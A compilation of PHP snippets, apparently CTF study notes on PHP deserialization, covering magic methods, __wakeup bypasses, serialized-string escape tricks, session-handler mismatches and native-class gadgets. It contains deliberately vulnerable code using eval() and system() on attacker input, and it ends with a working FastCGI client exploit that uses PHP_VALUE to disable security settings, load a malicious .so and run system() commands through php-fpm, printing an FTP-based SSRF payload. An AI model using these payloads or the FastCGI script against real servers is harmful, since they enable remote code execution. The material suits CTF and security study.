1<?php
 2class test{
 3	public $username;
 4	public $password;
 5
 6	function __construct($username,$password){
 7		echo "__construct\n";
 8        $this->username = $username;
 9        $this->password = $password;
10	}
11
12	function __destruct(){
13		echo "__destruct\n";
14	}
15}
16
17$a = new test('admin','admin888');
18unset($a);
19echo "abc\n";
20echo "--------------------\n";
21
22$a = new test('admin','admin888');
23echo "abc\n";

 1<?php
 2class test{
 3	public $username;
 4	public $password;
 5
 6	function __construct($username,$password){
 7		echo "__construct\n";
 8        $this->username = $username;
 9        $this->password = $password;
10	}
11
12	function __sleep(){
13		echo "__sleep\n";
14		return [username,password]; //需要返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容，则NULL被序列化，导致一个E_NOTICE错误
15	}
16
17	function __wakeup(){
18		echo "__wakeup\n";
19		$this->username = 'user';
20	}
21
22}
23
24$a = new test('admin','admin888');
25$data = serialize($a);
26echo $data."\n";
27echo "-----------------------------\n";
28var_dump(unserialize($data));

 1<?php
 2class test{
 3	public $username;
 4	public $password;
 5
 6	function __call($method,$args){
 7		echo '不存在'.$method.'方法(__call)'.'<br>';
 8	}
 9
10		function __callstatic($method,$args){
11		echo '不存在'.$method.'方法(__callstatic)'.'<br>';
12	}
13}
14
15$a = new test();
16$a->lewiserii();
17test::lewiserii();

 1<?php
 2class test{
 3	public $username='admin';
 4	private $password='admin888';
 5
 6	function __get($name){
 7		echo "__get\n";
 8	}
 9
10	function __set($name,$value){
11		echo "__set\n";
12	}
13
14}
15
16$a = new test();
17$a->password;
18$a->password='123456';

 1<?php
 2class test{
 3	public $username='admin';
 4	private $password='admin888';
 5
 6	function __isset($name){
 7		echo "__isset\n";
 8	}
 9	function __unset($name){
10		echo "__unset\n";
11	}
12}
13
14$a = new test();
15isset($a->password);
16unset($a->psd);

 1<?php
 2class test{
 3    public $a='test';
 4
 5    public function __wakeup(){
 6        $this->a='aaa';
 7    }
 8
 9    public function  __destruct(){
10        echo $this->a;
11    }
12}
13
14//$v = new test();
15//echo serialize($v);
16//O:4:"test":1:{s:1:"a";s:4:"test";}test
17?>

 1<?php
 2
 3class D {
 4
 5    public function __get($name) {
 6        echo "D::__get($name)\n";
 7    }
 8    public function __destruct() {
 9        echo "D::__destruct\n";
10    }
11    public function __wakeup() {
12        echo "D::__wakeup\n";
13    }
14}
15
16class C {
17    public function __destruct() {
18        echo "C::__destruct\n";
19        $this->c->b;
20
21    }
22}
23
24
25unserialize('O:1:"C":1:{s:1:"c";O:1:"D":0:{};N;}');

 1<?php
 2//https://3v4l.org/YAje0
 3//https://bugs.php.net/bug.php?id=81151
 4class E  {
 5    public function __construct(){
 6
 7    }
 8
 9    public function __destruct(){
10        echo "destruct";
11    }
12
13    public function __wakeup(){
14        echo "wake up";
15    }
16}
17
18var_dump(unserialize('C:1:"E":0:{}'));

 1<?php
 2
 3class ctfshow {
 4    public $ctfshow;
 5
 6    public function __wakeup(){
 7        die("not allowed!");
 8    }
 9
10    public function __destruct(){
11        echo "OK";
12        system($this->ctfshow);
13    }
14
15
16}
17$a= new ctfshow();
18$a->ctfshow= "cat /f1agaaa";
19
20
21
22//$b=new SplObjectStorage();
23//$b->test=$a;
24//echo serialize($b);
25//C:16:"SplObjectStorage":77:{x:i:0;m:a:1:{s:4:"test";O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}}
26
27
28
29//$b=new ArrayObject($a);
30//echo serialize($b);
31//C:11:"ArrayObject":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}
32
33
34
35//$b=new ArrayIterator($a);
36//echo serialize($b);
37//C:13:"ArrayIterator":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}
38
39
40
41
42//$b=new RecursiveArrayIterator($a);
43//echo serialize($b);
44//C:22:"RecursiveArrayIterator":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}
45
46
47
48//$b=new SplDoublyLinkedList();
49//$b->push($a);
50//echo serialize($b);
51//C:19:"SplDoublyLinkedList":57:{i:0;:O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}
52
53
54
55
56//$b=new SplQueue();
57//$b->push($a);
58//echo serialize($b);
59//C:8:"SplQueue":57:{i:4;:O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}
60
61
62
63//$b=new SplStack();
64//$b->push($a);
65//echo serialize($b);
66//C:8:"SplStack":57:{i:6;:O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}

 1<?php
 2error_reporting(0);
 3highlight_file(__FILE__);
 4
 5class backdoor{
 6    public $name;
 7
 8    public function __destruct(){
 9        eval($this->name);
10    }
11}
12
13$data = $_POST['data'];
14
15if (preg_match('/^O:\d+/i',$data)){
16    die("object not allow unserialize");
17}

 1<?php
 2class test{
 3    public $a;
 4    public $b;
 5
 6    public function __construct(){
 7        $this->a = 'abc';
 8        $this->b = &$this->a;
 9    }
10    public function  __destruct(){
11        if($this->a===$this->b){
12            echo 666;
13        }
14    }
15}
16
17$a = serialize(new test());
18
19?>

 1<?php
 2class test{
 3	public $a='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
 4	public $b='";s:1:"b";s:3:"abc";}';
 5}
 6
 7function filter($str){
 8    return str_replace("aaa","aa",$str);
 9}
10
11
12$v = new test();
13echo filter(serialize($v));
14
15//O:4:"test":2:{s:1:"a";s:48:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:1:"b";s:21:"";s:1:"b";s:3:"abc";}";}
16?>

 1<?php
 2
 3/*
 4# -*- coding: utf-8 -*-
 5# @Author: h1xa
 6# @Date:   2020-12-04 23:52:24
 7# @Last Modified by:   h1xa
 8# @Last Modified time: 2020-12-05 00:17:08
 9# @email: h1xa@ctfer.com
10# @link: https://ctfer.com
11
12*/
13
14highlight_file(__FILE__);
15
16include('flag.php');
17$cs = file_get_contents('php://input');
18
19
20class ctfshow{
21    public $username='xxxxxx';
22    public $password='xxxxxx';
23    public function __construct($u,$p){
24        $this->username=$u;
25        $this->password=$p;
26    }
27    public function login(){
28        return $this->username===$this->password;
29    }
30    public function __toString(){
31        return $this->username;
32    }
33    public function __destruct(){
34        global $flag;
35        echo $flag;
36    }
37}
38$ctfshowo=@unserialize($cs);
39if(preg_match('/ctfshow/', $cs)){
40    throw new Exception("Error $ctfshowo",1);
41}

 1fileatime
 2filectime
 3file_exists
 4file_get_contents
 5file_put_contents
 6file
 7filegroup
 8fopen
 9fileinode
10filemtime
11fileowner
12fileperms
13is_dir
14is_executable
15is_file
16is_link
17is_readable
18is_writable
19is_writeable
20parse_ini_file
21copy
22unlink
23stat
24readfile

 1//1.php
 2<?php
 3error_reporting(0);
 4ini_set('session.serialize_handler','php_serialize');
 5session_start();
 6$_SESSION['session'] = $_GET['session'];
 7var_dump($_SESSION);
 8
 9
10//2.php
11<?php
12error_reporting(0);
13ini_set('session.serialize_handler','php');
14session_start();
15class test{
16	public $name;
17	function __wakeup(){
18		echo $this->name;
19	}
20}

 1<?php
 2include("class.php");
 3error_reporting(0);
 4highlight_file(__FILE__);
 5ini_set("session.serialize_handler", "php");
 6session_start();
 7
 8if (isset($_GET['phpinfo']))
 9{
10    phpinfo();
11}
12if (isset($_GET['source']))
13{
14    highlight_file("class.php");
15}
16
17$happy=new Happy();
18$happy();
19?>

 1<?php
 2    class Happy {
 3        public $happy;
 4        function __construct(){
 5                $this->happy="Happy_New_Year!!!";
 6
 7        }
 8        function __destruct(){
 9                $this->happy->happy;
10
11        }
12        public function __call($funName, $arguments){
13                die($this->happy->$funName);
14        }
15
16        public function __set($key,$value)
17        {
18            $this->happy->$key = $value;
19        }
20        public function __invoke()
21        {
22            echo $this->happy;
23        }
24
25
26    }
27
28    class _New_{
29        public $daniu;
30        public $robot;
31        public $notrobot;
32        private $_New_;
33        function __construct(){
34                $this->daniu="I'm daniu.";
35                $this->robot="I'm robot.";
36                $this->notrobot="I'm not a robot.";
37
38        }
39        public function __call($funName, $arguments){
40                echo $this->daniu.$funName."not exists!!!";
41        }
42
43        public function __invoke()
44        {
45            echo $this->daniu;
46            $this->daniu=$this->robot;
47            echo $this->daniu;
48        }
49        public function __toString()
50        {
51            $robot=$this->robot;
52            $this->daniu->$robot=$this->notrobot;
53            return (string)$this->daniu;
54
55        }
56        public function __get($key){
57               echo $this->daniu.$key."not exists!!!";
58        }
59
60 }
61    class Year{
62        public $zodiac;
63         public function __invoke()
64        {
65            echo "happy ".$this->zodiac." year!";
66
67        }
68         function __construct(){
69                $this->zodiac="Hu";
70        }
71        public function __toString()
72        {
73                $this->show();
74
75        }
76        public function __set($key,$value)#3
77        {
78            $this->$key = $value;
79        }
80
81        public function show(){
82            die(file_get_contents($this->zodiac));
83        }
84        public function __wakeup()
85        {
86            $this->zodiac = 'hu';
87        }
88
89    }
90?>

 1$dir=new DirectoryIterator("/");
 2echo $dir;
 3
 4$dir=new FilesystemIterator("/");
 5echo $dir;
 6
 7//也可以与glob://协议配合使用来查找文件
 8$dir=new DirectoryIterator("glob:///*flag*");
 9echo $dir;
10
11$dir=new FilesystemIterator("glob:///*flag*");
12echo $dir;
13
14//GlobIterator无需借助glob协议即可搜索全局文件
15$dir=new GlobIterator("/*flag*");
16echo $dir;

 1class SoapClient {
 2/* 属性 */
 3private ?string $uri = null;
 4private ?int $style = null;
 5private ?int $use = null;
 6private ?string $location = null;
 7private bool $trace = false;
 8private ?int $compression = null;
 9private ?resource $sdl = null;
10private ?resource $typemap = null;
11private ?resource $httpsocket = null;
12private ?resource $httpurl = null;
13private ?string $_login = null;
14private ?string $_password = null;
15private bool $_use_digest = false;
16private ?string $_digest = null;
17private ?string $_proxy_host = null;
18private ?int $_proxy_port = null;
19private ?string $_proxy_login = null;
20private ?string $_proxy_password = null;
21private bool $_exceptions = true;
22private ?string $_encoding = null;
23private ?array $_classmap = null;
24private ?int $_features = null;
25private int $_connection_timeout;
26private ?resource $_stream_context = null;
27private ?string $_user_agent = null;
28private bool $_keep_alive = true;
29private ?int $_ssl_method = null;
30private int $_soap_version;
31private ?int $_use_proxy = null;
32private array $_cookies = [];
33private ?array $__default_headers = null;
34private ?SoapFault $__soap_fault = null;
35private ?string $__last_request = null;
36private ?string $__last_response = null;
37private ?string $__last_request_headers = null;
38private ?string $__last_response_headers = null;
39/* 方法 */
40public __construct(?string $wsdl, array $options = [])
41public __call(string $name, array $args): mixed
42public __doRequest(
43    string $request,
44    string $location,
45    string $action,
46    int $version,
47    bool $oneWay = false
48): ?string
49public __getCookies(): array
50public __getFunctions(): ?array
51public __getLastRequest(): ?string
52public __getLastRequestHeaders(): ?string
53public __getLastResponse(): ?string
54public __getLastResponseHeaders(): ?string
55public __getTypes(): ?array
56public __setCookie(string $name, ?string $value = null): void
57public __setLocation(?string $location = null): ?string
58public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
59public __soapCall(
60    string $name,
61    array $args,
62    ?array $options = null,
63    SoapHeader|array|null $inputHeaders = null,
64    array &$outputHeaders = null
65): mixed
66}

 1<?php
 2include "user.php";
 3if($user=unserialize($_COOKIE["data"])){
 4	$count[++$user->count]=1;
 5	if($count[]=1){
 6		$user->count+=1;
 7		setcookie("data",serialize($user));
 8	}else{
 9		eval($_GET["backdoor"]);
10	}
11}else{
12	$user=new User;
13	$user->count=1;
14	setcookie("data",serialize($user));
15}
16?>

  1<?php
  2/**
  3 * Note : Code is released under the GNU LGPL
  4 *
  5 * Please do not change the header of this file
  6 *
  7 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
  8 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
  9 * the License, or (at your option) any later version.
 10 *
 11 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 12 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 13 *
 14 * See the GNU Lesser General Public License for more details.
 15 */
 16/**
 17 * Handles communication with a FastCGI application
 18 *
 19 * @author      Pierrick Charron <pierrick@webstart.fr>
 20 * @version     1.0
 21 */
 22class FCGIClient
 23{
 24    const VERSION_1            = 1;
 25    const BEGIN_REQUEST        = 1;
 26    const ABORT_REQUEST        = 2;
 27    const END_REQUEST          = 3;
 28    const PARAMS               = 4;
 29    const STDIN                = 5;
 30    const STDOUT               = 6;
 31    const STDERR               = 7;
 32    const DATA                 = 8;
 33    const GET_VALUES           = 9;
 34    const GET_VALUES_RESULT    = 10;
 35    const UNKNOWN_TYPE         = 11;
 36    const MAXTYPE              = self::UNKNOWN_TYPE;
 37    const RESPONDER            = 1;
 38    const AUTHORIZER           = 2;
 39    const FILTER               = 3;
 40    const REQUEST_COMPLETE     = 0;
 41    const CANT_MPX_CONN        = 1;
 42    const OVERLOADED           = 2;
 43    const UNKNOWN_ROLE         = 3;
 44    const MAX_CONNS            = 'MAX_CONNS';
 45    const MAX_REQS             = 'MAX_REQS';
 46    const MPXS_CONNS           = 'MPXS_CONNS';
 47    const HEADER_LEN           = 8;
 48    /**
 49     * Socket
 50     * @var Resource
 51     */
 52    private $_sock = null;
 53    /**
 54     * Host
 55     * @var String
 56     */
 57    private $_host = null;
 58    /**
 59     * Port
 60     * @var Integer
 61     */
 62    private $_port = null;
 63    /**
 64     * Keep Alive
 65     * @var Boolean
 66     */
 67    private $_keepAlive = false;
 68    /**
 69     * Constructor
 70     *
 71     * @param String $host Host of the FastCGI application
 72     * @param Integer $port Port of the FastCGI application
 73     */
 74    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
 75    {
 76        $this->_host = $host;
 77        $this->_port = $port;
 78    }
 79    /**
 80     * Define whether or not the FastCGI application should keep the connection
 81     * alive at the end of a request
 82     *
 83     * @param Boolean $b true if the connection should stay alive, false otherwise
 84     */
 85    public function setKeepAlive($b)
 86    {
 87        $this->_keepAlive = (boolean)$b;
 88        if (!$this->_keepAlive && $this->_sock) {
 89            fclose($this->_sock);
 90        }
 91    }
 92    /**
 93     * Get the keep alive status
 94     *
 95     * @return Boolean true if the connection should stay alive, false otherwise
 96     */
 97    public function getKeepAlive()
 98    {
 99        return $this->_keepAlive;
100    }
101    /**
102     * Create a connection to the FastCGI application
103     */
104    private function connect()
105    {
106        if (!$this->_sock) {
107            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
108            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
109            if (!$this->_sock) {
110                throw new Exception('Unable to connect to FastCGI application');
111            }
112        }
113    }
114    /**
115     * Build a FastCGI packet
116     *
117     * @param Integer $type Type of the packet
118     * @param String $content Content of the packet
119     * @param Integer $requestId RequestId
120     */
121    private function buildPacket($type, $content, $requestId = 1)
122    {
123        $clen = strlen($content);
124        return chr(self::VERSION_1)         /* version */
125            . chr($type)                    /* type */
126            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
127            . chr($requestId & 0xFF)        /* requestIdB0 */
128            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
129            . chr($clen & 0xFF)             /* contentLengthB0 */
130            . chr(0)                        /* paddingLength */
131            . chr(0)                        /* reserved */
132            . $content;                     /* content */
133    }
134    /**
135     * Build an FastCGI Name value pair
136     *
137     * @param String $name Name
138     * @param String $value Value
139     * @return String FastCGI Name value pair
140     */
141    private function buildNvpair($name, $value)
142    {
143        $nlen = strlen($name);
144        $vlen = strlen($value);
145        if ($nlen < 128) {
146            /* nameLengthB0 */
147            $nvpair = chr($nlen);
148        } else {
149            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
150            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
151        }
152        if ($vlen < 128) {
153            /* valueLengthB0 */
154            $nvpair .= chr($vlen);
155        } else {
156            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
157            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
158        }
159        /* nameData & valueData */
160        return $nvpair . $name . $value;
161    }
162    /**
163     * Read a set of FastCGI Name value pairs
164     *
165     * @param String $data Data containing the set of FastCGI NVPair
166     * @return array of NVPair
167     */
168    private function readNvpair($data, $length = null)
169    {
170        $array = array();
171        if ($length === null) {
172            $length = strlen($data);
173        }
174        $p = 0;
175        while ($p != $length) {
176            $nlen = ord($data{$p++});
177            if ($nlen >= 128) {
178                $nlen = ($nlen & 0x7F << 24);
179                $nlen |= (ord($data{$p++}) << 16);
180                $nlen |= (ord($data{$p++}) << 8);
181                $nlen |= (ord($data{$p++}));
182            }
183            $vlen = ord($data{$p++});
184            if ($vlen >= 128) {
185                $vlen = ($nlen & 0x7F << 24);
186                $vlen |= (ord($data{$p++}) << 16);
187                $vlen |= (ord($data{$p++}) << 8);
188                $vlen |= (ord($data{$p++}));
189            }
190            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
191            $p += ($nlen + $vlen);
192        }
193        return $array;
194    }
195    /**
196     * Decode a FastCGI Packet
197     *
198     * @param String $data String containing all the packet
199     * @return array
200     */
201    private function decodePacketHeader($data)
202    {
203        $ret = array();
204        $ret['version']       = ord($data{0});
205        $ret['type']          = ord($data{1});
206        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
207        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
208        $ret['paddingLength'] = ord($data{6});
209        $ret['reserved']      = ord($data{7});
210        return $ret;
211    }
212    /**
213     * Read a FastCGI Packet
214     *
215     * @return array
216     */
217    private function readPacket()
218    {
219        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
220            $resp = $this->decodePacketHeader($packet);
221            $resp['content'] = '';
222            if ($resp['contentLength']) {
223                $len  = $resp['contentLength'];
224                while ($len && $buf=fread($this->_sock, $len)) {
225                    $len -= strlen($buf);
226                    $resp['content'] .= $buf;
227                }
228            }
229            if ($resp['paddingLength']) {
230                $buf=fread($this->_sock, $resp['paddingLength']);
231            }
232            return $resp;
233        } else {
234            return false;
235        }
236    }
237    /**
238     * Get Informations on the FastCGI application
239     *
240     * @param array $requestedInfo information to retrieve
241     * @return array
242     */
243    public function getValues(array $requestedInfo)
244    {
245        $this->connect();
246        $request = '';
247        foreach ($requestedInfo as $info) {
248            $request .= $this->buildNvpair($info, '');
249        }
250        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
251        $resp = $this->readPacket();
252        if ($resp['type'] == self::GET_VALUES_RESULT) {
253            return $this->readNvpair($resp['content'], $resp['length']);
254        } else {
255            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
256        }
257    }
258    /**
259     * Execute a request to the FastCGI application
260     *
261     * @param array $params Array of parameters
262     * @param String $stdin Content
263     * @return String
264     */
265    public function request(array $params, $stdin)
266    {
267        $response = '';
268//        $this->connect();
269        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
270        $paramsRequest = '';
271        foreach ($params as $key => $value) {
272            $paramsRequest .= $this->buildNvpair($key, $value);
273        }
274        if ($paramsRequest) {
275            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
276        }
277        $request .= $this->buildPacket(self::PARAMS, '');
278        if ($stdin) {
279            $request .= $this->buildPacket(self::STDIN, $stdin);
280        }
281        $request .= $this->buildPacket(self::STDIN, '');
282        echo('?file=ftp://ip:9999/&data='.urlencode($request));
283//        fwrite($this->_sock, $request);
284//        do {
285//            $resp = $this->readPacket();
286//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
287//                $response .= $resp['content'];
288//            }
289//        } while ($resp && $resp['type'] != self::END_REQUEST);
290//        var_dump($resp);
291//        if (!is_array($resp)) {
292//            throw new Exception('Bad request');
293//        }
294//        switch (ord($resp['content']{4})) {
295//            case self::CANT_MPX_CONN:
296//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
297//                break;
298//            case self::OVERLOADED:
299//                throw new Exception('New request rejected; too busy [OVERLOADED]');
300//                break;
301//            case self::UNKNOWN_ROLE:
302//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
303//                break;
304//            case self::REQUEST_COMPLETE:
305//                return $response;
306//        }
307    }
308}
309?>
310<?php
311// real exploit start here
312//if (!isset($_REQUEST['cmd'])) {
313//    die("Check your input\n");
314//}
315//if (!isset($_REQUEST['filepath'])) {
316//    $filepath = __FILE__;
317//}else{
318//    $filepath = $_REQUEST['filepath'];
319//}
320
321$filepath = "/var/www/html/add_api.php";
322$req = '/'.basename($filepath);
323$uri = $req .'?'.'command=whoami';
324$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
325$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
326$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = evilso.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
327$params = array(
328    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
329    'REQUEST_METHOD'    => 'POST',
330    'SCRIPT_FILENAME'   => $filepath,
331    'SCRIPT_NAME'       => $req,
332    'QUERY_STRING'      => 'command=whoami',
333    'REQUEST_URI'       => $uri,
334    'DOCUMENT_URI'      => $req,
335#'DOCUMENT_ROOT'     => '/',
336    'PHP_VALUE'         => $php_value,
337    'SERVER_SOFTWARE'   => 'ctfking/Tajang',
338    'REMOTE_ADDR'       => '127.0.0.1',
339    'REMOTE_PORT'       => '9001', // 找准服务端口
340    'SERVER_ADDR'       => '127.0.0.1',
341    'SERVER_PORT'       => '80',
342    'SERVER_NAME'       => 'localhost',
343    'SERVER_PROTOCOL'   => 'HTTP/1.1',
344    'CONTENT_LENGTH'    => strlen($code)
345);
346// print_r($_REQUEST);
347// print_r($params);
348//echo "Call: $uri\n\n";
349echo $client->request($params, $code)."\n";
350?>